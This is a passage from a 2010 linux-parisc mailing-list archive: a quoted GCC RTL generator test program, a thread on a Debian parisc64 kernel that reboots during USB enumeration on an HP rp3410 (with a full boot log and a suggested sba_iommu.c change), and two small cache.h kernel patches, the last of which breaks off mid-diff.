> DEF_RTL_EXPR(LO_SUM, "lo_sum", "ee", RTX_OBJ)
> DEF_RTL_EXPR(VEC_MERGE, "vec_merge", "eee", RTX_TERNARY)
> DEF_RTL_EXPR(VEC_SELECT, "vec_select", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(VEC_CONCAT, "vec_concat", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(VEC_DUPLICATE, "vec_duplicate", "e", RTX_UNARY)
> DEF_RTL_EXPR(SS_PLUS, "ss_plus", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(US_PLUS, "us_plus", "ee", RTX_COMM_ARITH)
> DEF_RTL_EXPR(SS_MINUS, "ss_minus", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(SS_NEG, "ss_neg", "e", RTX_UNARY)
> DEF_RTL_EXPR(US_NEG, "us_neg", "e", RTX_UNARY)
> DEF_RTL_EXPR(SS_ABS, "ss_abs", "e", RTX_UNARY)
> DEF_RTL_EXPR(SS_ASHIFT, "ss_ashift", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(US_ASHIFT, "us_ashift", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(US_MINUS, "us_minus", "ee", RTX_BIN_ARITH)
> DEF_RTL_EXPR(SS_TRUNCATE, "ss_truncate", "e", RTX_UNARY)
> DEF_RTL_EXPR(US_TRUNCATE, "us_truncate", "e", RTX_UNARY)
> DEF_RTL_EXPR(VAR_LOCATION, "var_location", "tei", RTX_EXTRA)
> };
> #define ARRAY_SIZE(a) (sizeof (a) / sizeof ((a)[0]))
> #define NUM_RTX_CODE ARRAY_SIZE(defs)
> 
>  const char *formats[NUM_RTX_CODE];
> 
>  const char *type_from_format	(int);
>  const char *accessor_from_format	(int);
>  int special_format		(const char *);
>  void find_formats		(void);
>  void gendecl			(const char *);
> 
> 
>  const char *
> type_from_format (int c)
> {
>   switch (c)
>     {
>     case 'i':
>       return "int ";
> 
>     case 'w':
>       return "HOST_WIDE_INT ";
> 
>     case 's':
>       return "const char *";
> 
>     case 'e':  case 'u':
>       return "rtx ";
> 
>     case 'E':
>       return "rtvec ";
>     case 'b':
>       return "struct bitmap_head_def *";  /* bitmap - typedef not available */
>     case 't':
>       return "union tree_node *";  /* tree - typedef not available */
>     case 'B':
>       return "struct basic_block_def *";  /* basic block - typedef not available */
>     default:
>       gcc_unreachable ();
>     }
> }
> 
> /* Decode a format letter into the proper accessor function.  */
> 
>  const char *
> accessor_from_format (int c)
> {
>   switch (c)
>     {
>     case 'i':
>       return "XINT";
> 
>     case 'w':
>       return "XWINT";
> 
>     case 's':
>       return "XSTR";
> 
>     case 'e':  case 'u':
>       return "XEXP";
> 
>     case 'E':
>       return "XVEC";
> 
>     case 'b':
>       return "XBITMAP";
> 
>     case 't':
>       return "XTREE";
> 
>     case 'B':
>       return "XBBDEF";
> 
>     default:
>       gcc_unreachable ();
>     }
> }
> 
> 
> /* Place a list of all format specifiers we use into the array FORMAT.  */
> 
>  void
> find_formats (void)
> {
>   unsigned int i;
> 
>   for (i = 0; i < NUM_RTX_CODE; i++)
>     {
>       const char **f;
> 
>      if (strchr (defs[i].format, '*') != 0 || strchr (defs[i].format, 'V') != 0 || strchr (defs[i].format, 'S') != 0 || strchr (defs[i].format, 'n') != 0)
>        continue;
> 
>       for (f = formats; *f; f++)
> 	if (! strcmp (*f, defs[i].format))
> 	  break;
> 
>       if (*f == 0)
> 	*f = defs[i].format;
>     }
> }
> 
> /* Write the declarations for the routine to allocate RTL with FORMAT.  */
> 
>  void
> gendecl (const char *format)
> {
>   const char *p;
>   int i, pos;
> 
>   printf ("extern rtx gen_rtx_fmt_%s_stat\t (RTX_CODE, ", format);
>   printf ("enum machine_mode mode");
> 
>   /* Write each parameter that is needed and start a new line when the line
>      would overflow.  */
>   for (p = format, i = 0, pos = 75; *p != 0; p++)
>     if (*p != '0')
>       {
> 	int ourlen = strlen (type_from_format (*p)) + 6 + (i > 9);
> 
> 	printf (",");
> 	if (pos + ourlen > 76)
> 	  printf ("\n\t\t\t\t      "), pos = 39;
> 
> 	printf (" %sarg%d", type_from_format (*p), i++);
> 	pos += ourlen;
>       }
> }
> 
> 
> 
> /* This is the main program.  We accept only one argument, "-h", which
>    says we are writing the genrtl.h file.  Otherwise we are writing the
>    genrtl.c file.  */
> 
> int
> main (int argc, char **argv)
> {
>   find_formats ();
> 
>   const char **fmt;
> 
> 
>   for (fmt = formats; *fmt; ++fmt)
>     gendecl (*fmt);
> 
>   return 0;
> }


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: kernel 2.6.32-5-parisc64 doesn't boot
Date: Mon, 28 Jun 2010 23:22:57 -0600
Lines: 334
Approved: news@gmane.org
Message-ID: <20100629052257.GB20908@lackof.org>
References: <4C219FF7.7030601@logix.net.nz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1277789000 22762 80.91.229.12 (29 Jun 2010 05:23:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 29 Jun 2010 05:23:20 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
To: Michal Ludvig <mludvig@logix.net.nz>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 29 07:23:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OTTHq-0001QY-S0
	for glpp-linux-parisc@lo.gmane.org; Tue, 29 Jun 2010 07:23:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751501Ab0F2FXJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jun 2010 01:23:09 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:48318 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751348Ab0F2FXJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jun 2010 01:23:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 4DE4533E0063;
	Mon, 28 Jun 2010 23:23:08 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZdgQ51SxVoyP; Mon, 28 Jun 2010 23:22:57 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 4AD8B33E0143; Mon, 28 Jun 2010 23:22:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4C219FF7.7030601@logix.net.nz>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2982 gmane.linux.debian.ports.hppa:6393
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2982>

+linux-parisc (seems like a known kernel issue)

On Wed, Jun 23, 2010 at 05:47:35PM +1200, Michal Ludvig wrote:
> Hi all,
> 
> After recent dist-upgrade in Squeeze my HP9000 RP3410 no longer boots. I
> can still boot the previous linux-image 2.6.32-3-parisc64 but the new
> 2.6.32-5-parisc64 never finished booting. It looks like it reboots
> during USB enumeration or somewhere there:

Hi Michal,
I strongly suspect it's the same problem we saw on the C3xxx workstations.
Here's the comment in drivers/parisc/sba_iommu.c:

        if (!is_pdc_pat()) {
                /* Shutdown the USB controller on Astro-based workstations.
                ** Once we reprogram the IOMMU, the next DMA performed by
                ** USB will HPMC the box. USB is only enabled if a
                ** keyboard is present and found.
                **
                ** With serial console, j6k v5.0 firmware says:
                **   mem_kbd hpa 0xfee003f8 sba 0x0 pad 0x0 cl_class 0x7
                **
                ** FIXME: Using GFX+USB console at power up but direct
                **      linux to serial console is still broken.
                **      USB could generate DMA so we must reset USB.
                **      The proper sequence would be:
                **      o block console output
                **      o reset USB device
                **      o reprogram serial port
                **      o unblock console output
                */
                if (PAGE0->mem_kbd.cl_class == CL_KEYBD) {
                        pdc_io_reset_devices();
                }

        }


Could you try to make this code "unconditional"?
(remove !is_pdc_pat() test)

If someone have better ideas on how to handle this...
I can build kernels and test on a J6000.

thanks,
grant

> 
> ------------------------------------
> 
> Booting...
> Boot IO Dependent Code (IODC) revision 1
> 
> 
> HARD Booted.
> palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008
> Skipping extended partition 6 - beyond reach of IPL
> 
> Partition Start(MB) End(MB) Id Type
> 1               1      31   f0 Palo
> 2              32     156   83 ext2
> 5             157   33408   83 ext2
> 
> PALO(F0) partition contains:
>     0/vmlinux64 6833698 bytes @ 0x48000
> 
> 
> Command line for kernel: 'root=/dev/sdb5 HOME=/ console=ttyS1
> palo_kernel=2/vmlinux'
> Selected kernel: /vmlinux from partition 2
> Selected ramdisk: /initrd.img from partition 2
> ELF64 executable
> Entry 00100000 first 00100000 n 2
> Segment 0 load 00100000 size 4673536 mediaptr 0x1000
> Segment 1 load 005ea730 size 743376 mediaptr 0x476730
> Loading ramdisk 11788317 bytes @ 3f4b0000...
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> [    0.000000] Initializing cgroup subsys cpuset
> [    0.000000] Initializing cgroup subsys cpu
> [    0.000000] Linux version 2.6.32-5-parisc64 (Debian 2.6.32-15)
> (ben@decadent.org.uk) (gcc version 4.3.5 (GCC) ) #1 Tue Jun 1 12:13:09
> UTC 2010
> [    0.000000] unwind_init: start = 0x40494000, end = 0x404c1e60,
> entries = 11750
> [    0.000000] WARNING: Out of order unwind entry! 0000000040495990 and
> 00000000404959a0
> [    0.000000] WARNING: Out of order unwind entry! 00000000404959a0 and
> 00000000404959b0
> [    0.000000] FP[0] enabled: Rev 1 Model 20
> [    0.000000] The 64-bit Kernel has started...
> [    0.000000] bootconsole [ttyB0] enabled
> [    0.000000] Initialized PDC Console for debugging.
> [    0.000000] Determining PDC firmware type: 64 bit PAT.
> [    0.000000] model 00008860 00000491 00000000 00000002
> 3e3ffb8ecde69d7c 100000f0 00000008 000000b2 000000b2
> [    0.000000] vers  00000302
> [    0.000000] CPUID vers 20 rev 5 (0x00000285)
> [    0.000000] capabilities 0x35
> [    0.000000] model 9000/800/rp3410
> [    0.000000] parisc_cache_init: Only equivalent aliasing supported!
> [    0.000000] Memory Ranges:
> [    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size
>   1024 MB
> [    0.000000]  1) Start 0x0000004040000000 End 0x00000040ffdfffff Size
>   3070 MB
> [    0.000000] Total Memory: 4094 MB
> [    0.000000] initrd: 7f4b0000-7ffee01d
> [    0.000000] initrd: reserving 3f4b0000-3ffee01d (mem_max ffe00000)
> [    0.000000] Built 2 zonelists in Zone order, mobility grouping on.
> Total pages: 1033735
> [    0.000000] Kernel command line: root=/dev/sdb5 HOME=/ console=ttyS1
> palo_kernel=2/vmlinux
> [    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
> [    0.000000] Dentry cache hash table entries: 524288 (order: 10,
> 4194304 bytes)
> [    0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152
> bytes)
> [    0.000000] Memory: 4102144k/4192256k available (2996k kernel code,
> 89144k reserved, 1519k data, 272k init)
> [    0.000000] virtual kernel memory layout:
> [    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000
> (1007 MB)
> [    0.000000]     memory  : 0x0000000040000000 - 0x000000413fe00000
> (266238 MB)
> [    0.000000]       .init : 0x000000004065c000 - 0x00000000406a0000   (
> 272 kB)
> [    0.000000]       .data : 0x00000000403ed080 - 0x0000000040568de0
> (1519 kB)
> [    0.000000]       .text : 0x0000000040100000 - 0x00000000403ed080
> (2996 kB)
> [    0.000000] SLUB: Genslabs=13, HWalign=64, Order=0-3, MinObjects=0,
> CPUs=1, Nodes=8
> [    0.000000] Hierarchical RCU implementation.
> [    0.000000] NR_IRQS:128
> [    0.000000] Console: colour dummy device 160x64
> [    0.012000] Calibrating delay loop... 1597.44 BogoMIPS (lpj=3194880)
> [    0.108000] Security Framework initialized
> [    0.108000] SELinux:  Disabled at boot.
> [    0.108000] Mount-cache hash table entries: 256
> [    0.108000] Initializing cgroup subsys ns
> [    0.108000] Initializing cgroup subsys cpuacct
> [    0.112000] Initializing cgroup subsys devices
> [    0.116000] Initializing cgroup subsys freezer
> [    0.120000] Initializing cgroup subsys net_cls
> [    0.120000] devtmpfs: initialized
> [    0.128000] regulator: core version 0.5
> [    0.128000] NET: Registered protocol family 16
> [    0.132000] EISA bus registered
> [    0.136000] Searching for devices...
> [    0.356000] Found devices:
> [    0.356000] 1. Storm Peak Slow DC- at 0xfffffffffe780000 [128] { 0,
> 0x0, 0x886, 0x00004 }
> [    0.356000] 2. Everest Mako Memory at 0xfffffffffed08000 [8] { 1,
> 0x0, 0x0af, 0x00009 }
> [    0.356000] 3. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12,
> 0x0, 0x880, 0x0000c }
> [    0.364000] 4. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13,
> 0x0, 0x783, 0x0000a }
> [    0.372000] 5. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13,
> 0x0, 0x783, 0x0000a }
> [    0.376000] 6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13,
> 0x0, 0x783, 0x0000a }
> [    0.384000] 7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13,
> 0x0, 0x783, 0x0000a }
> [    0.392000] 8. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13,
> 0x0, 0x783, 0x0000a }
> [    0.392000] 9. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13,
> 0x0, 0x783, 0x0000a }
> [    0.400000] 10. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13,
> 0x0, 0x783, 0x0000a }
> [    0.408000] 11. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15,
> 0x0, 0x004, 0x000c0 }
> [    0.412000] Enabling PDC_PAT chassis codes support v0.05
> [    1.268000] CPU(s): 1 x PA8800 (Mako) at 800.024500 MHz
> [    1.272000] Setting cache flush threshold to 135cec0 (1 CPUs online)
> [    1.324000] SBA found Pluto 2.3 at 0xfffffffffed00000
> [    1.384000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
> [    1.420000] pci 0000:00:01.0: PME# supported from D0 D1 D2 D3hot
> [    1.420000] pci 0000:00:01.0: PME# disabled
> [    1.420000] pci 0000:00:01.1: PME# supported from D0 D1 D2 D3hot
> [    1.420000] pci 0000:00:01.1: PME# disabled
> [    1.432000] pci 0000:00:01.2: PME# supported from D0 D1 D2 D3hot
> [    1.432000] pci 0000:00:01.2: PME# disabled
> [    1.448000] Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
> [    1.484000] pci 0000:20:02.0: PME# supported from D3hot D3cold
> [    1.488000] pci 0000:20:02.0: PME# disabled
> [    1.492000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
> [    1.536000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
> [    1.584000] Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
> [    1.632000] Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
> [    1.680000] Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
> [    1.720000] LBA: Truncating lmmio_space
> [fffffffff0000000/fffffffffecffffe] to [fffffffff0000000,fffffffffe77ffff]
> [    1.724000] powersw: Soft power switch support not available.
> [    1.728000] bio: create slab <bio-0> at 0
> [    1.728000] vgaarb: device added:
> PCI:0000:e0:02.0,decodes=io+mem,owns=io+mem,locks=none
> [    1.728000] vgaarb: loaded
> [    1.736000] Switching to clocksource cr16
> [    1.736000] NET: Registered protocol family 2
> [    1.736000] IP route cache hash table entries: 131072 (order: 8,
> 1048576 bytes)
> [    1.744000] TCP established hash table entries: 262144 (order: 10,
> 4194304 bytes)
> [    1.756000] TCP bind hash table entries: 65536 (order: 7, 524288 bytes)
> [    1.760000] TCP: Hash tables configured (established 262144 bind 65536)
> [    1.760000] TCP reno registered
> [    1.764000] NET: Registered protocol family 1
> [    1.788000] Unpacking initramfs...
> [    2.532000] Freeing initrd memory: 11512k freed
> [    2.536000] Chassis warnings not supported.
> [    2.536000] Performance monitoring counters enabled for Storm Peak
> Slow DC-
> [    2.536000] audit: initializing netlink socket (disabled)
> [    2.540000] type=2000 audit(1277259537.537:1): initialized
> [    2.552000] VFS: Disk quotas dquot_6.5.2
> [    2.552000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
> [    2.560000] msgmni has been set to 8036
> [    2.560000] alg: No test for stdrng (krng)
> [    2.560000] Block layer SCSI generic (bsg) driver version 0.4 loaded
> (major 253)
> [    2.564000] io scheduler noop registered
> [    2.564000] io scheduler anticipatory registered
> [    2.572000] io scheduler deadline registered
> [    2.572000] io scheduler cfq registered (default)
> [    2.584000] PDC Stable Storage facility v0.30
> [    2.672000] STI GSC/PCI core graphics driver Version 0.9a
> [    2.676000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> [    2.684000] 0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 74)
> is a 16450
> [    2.692000] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 74)
> is a 16550A
> [    2.692000] console [ttyS1] enabled, bootconsole disabled
> [    2.692000] console [ttyS1] enabled, bootconsole disabled
> [    2.696000] 0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 74)
> is a 16550A
> [    2.704000] 0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 74)
> is a 16550A
> [    2.712000] mice: PS/2 mouse device common for all mice
> [    2.712000] rtc-generic rtc-generic: rtc core: registered rtc-generic
> as rtc0
> [    2.720000] TCP cubic registered
> [    2.720000] NET: Registered protocol family 17
> [    2.724000] registered taskstats version 1
> [    2.740000] rtc-generic rtc-generic: setting system clock to
> 2010-06-23 02:18:58 UTC (1277259538)
> [    2.916000] Freeing unused kernel memory: 272k freed
> Loading, please wait...
> [    3.580000] udev: starting version 157
> [    4.492000] SCSI subsystem initialized
> [    4.692000] usbcore: registered new interface driver usbfs
> [    4.692000] usbcore: registered new interface driver hub
> [    4.692000] usbcore: registered new device driver usb
> [    4.940000] tg3.c:v3.102 (September 1, 2009)
> [    5.016000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
> [    5.044000] ehci_hcd 0000:00:01.2: EHCI Host Controller
> [    5.064000] ehci_hcd 0000:00:01.2: new USB bus registered, assigned
> bus number 1
> [    5.088000] ehci_hcd 0000:00:01.2: Enabling legacy PCI PM
> [    5.112000] ehci_hcd 0000:00:01.2: irq 67, io mem 0xffffffff80000000
> [    5.128000] ehci_hcd 0000:00:01.2: USB 2.0 started, EHCI 0.95
> [    5.128000] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
> [    5.128000] usb usb1: New USB device strings: Mfr=3, Product=2,
> SerialNumber=1
> [    5.136000] usb usb1: Product: EHCI Host Controller
> [    5.136000] usb usb1: Manufacturer: Linux 2.6.32-5-parisc64 ehci_hcd
> [    5.144000] usb usb1: SerialNumber: 0000:00:01.2
> [    5.196000] usb usb1: configuration #1 chosen from 1 choice
> [    5.196000] hub 1-0:1.0: USB hub found
> [    5.196000] hub 1-0:1.0: 5 ports detected
> 
> 
> 
> Firmware Version  46.34
> 
> Duplex Console IO Dependent Code (IODC) revision 1
> 
> 
> 
> Firmware Version  46.34
> 
> Duplex Console IO Dependent Code (IODC) revision 1
> ------------------------------------------------------------------------------
>    (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserved
> ------------------------------------------------------------------------------
> 
>   Processor   Speed            State           CoProcessor State  Cache Size
>   Number                                       State              Inst
>   Data
>   ---------  --------   ---------------------  -----------------
> ------------
>       0      800  MHz   Active                 Functional
> 33554432 33554432
>       1      800  MHz   Stopped:Deconfigured   Unknown            0 0
> 
>   Central Bus Speed (in MHz)  :        200
>   Available Memory            :    4194304  KB
>   Good Memory Required        : Not initialized. Defaults to 32 MB.
> 
>    Primary boot path:    0/1/1/0.1
>    Alternate boot path:  0/1/1/0.0
>    Console path:         0/7/1/1.0
>    Keyboard path:        0/0/4/0.0
> 
> 
> Processor is booting from the first available device.
> 
> To discontinue, press any key within 10 seconds.
> 
> Boot terminated.
> 
> ------------------------------------
> 
> It kept trying and failing/rebooting at the same point a couple of times.
> 
> Do you need any other information? I'm now back on 2.6.32-3 but am keen
> to run any test kernels.
> 
> Michal
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
> Archive: http://lists.debian.org/4C219FF7.7030601@logix.net.nz
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: set ARCH_KMALLOC_MINALIGN
Date: Tue, 29 Jun 2010 15:50:50 +0900
Lines: 44
Approved: news@gmane.org
Message-ID: <20100629154801C.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277794278 3694 80.91.229.12 (29 Jun 2010 06:51:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 29 Jun 2010 06:51:18 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org,
	linux-kernel@vger.kernel.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 29 08:51:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OTUf5-00055Y-SI
	for glpp-linux-parisc@lo.gmane.org; Tue, 29 Jun 2010 08:51:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752075Ab0F2GvP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jun 2010 02:51:15 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:45540 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752058Ab0F2GvO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jun 2010 02:51:14 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5T6oofa011019;
	Tue, 29 Jun 2010 15:50:50 +0900
Original-Lines: 39
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Tue, 29 Jun 2010 15:50:52 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2983 gmane.linux.kernel:1003832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2983>

This is a resend:

http://marc.info/?t=127432584100006&r=1&w=2

I thought that it was merged but seems that it was lost somewhere?

=
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Subject: [PATCH] parisc: set ARCH_KMALLOC_MINALIGN

Architectures that handle DMA-non-coherent memory need to set
ARCH_KMALLOC_MINALIGN to make sure that kmalloc'ed buffer is DMA-safe:
the buffer doesn't share a cache with the others.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: stable@kernel.org
---
 arch/parisc/include/asm/cache.h |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/asm/cache.h
index 45effe6..5d87f27 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -22,6 +22,8 @@
 #define L1_CACHE_SHIFT 5
 #endif
 
+#define ARCH_KMALLOC_MINALIGN	L1_CACHE_BYTES
+
 #ifndef __ASSEMBLY__
 
 #define L1_CACHE_ALIGN(x)       (((x)+(L1_CACHE_BYTES-1))&~(L1_CACHE_BYTES-1))
-- 
1.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove homegrown L1_CACHE_ALIGN macro
Date: Tue, 29 Jun 2010 16:29:04 +0900
Lines: 23
Approved: news@gmane.org
Message-ID: <20100629162611B.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277796597 10839 80.91.229.12 (29 Jun 2010 07:29:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 29 Jun 2010 07:29:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, deller@gmx.de, jejb@parisc-linux.org,
	linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jun 29 09:29:55 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OTVGU-0004IW-L9
	for glk-linux-kernel-3@lo.gmane.org; Tue, 29 Jun 2010 09:29:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753827Ab0F2H3Z (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 29 Jun 2010 03:29:25 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:50510 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753747Ab0F2H3V (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 29 Jun 2010 03:29:21 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5T7T1jh011270;
	Tue, 29 Jun 2010 16:29:04 +0900
Original-Lines: 23
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Tue, 29 Jun 2010 16:29:04 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1003850 gmane.linux.ports.parisc:2984
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2984>

Let's use the standard L1_CACHE_ALIGN macro instead.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
---
 arch/parisc/include/asm/cache.h |    2 --
 1 files changed, 0 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/asm/cache.h
index 45effe6..a050f9f 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -24,8 +24,6 @@
 
 #ifndef __ASSEMBLY__
 
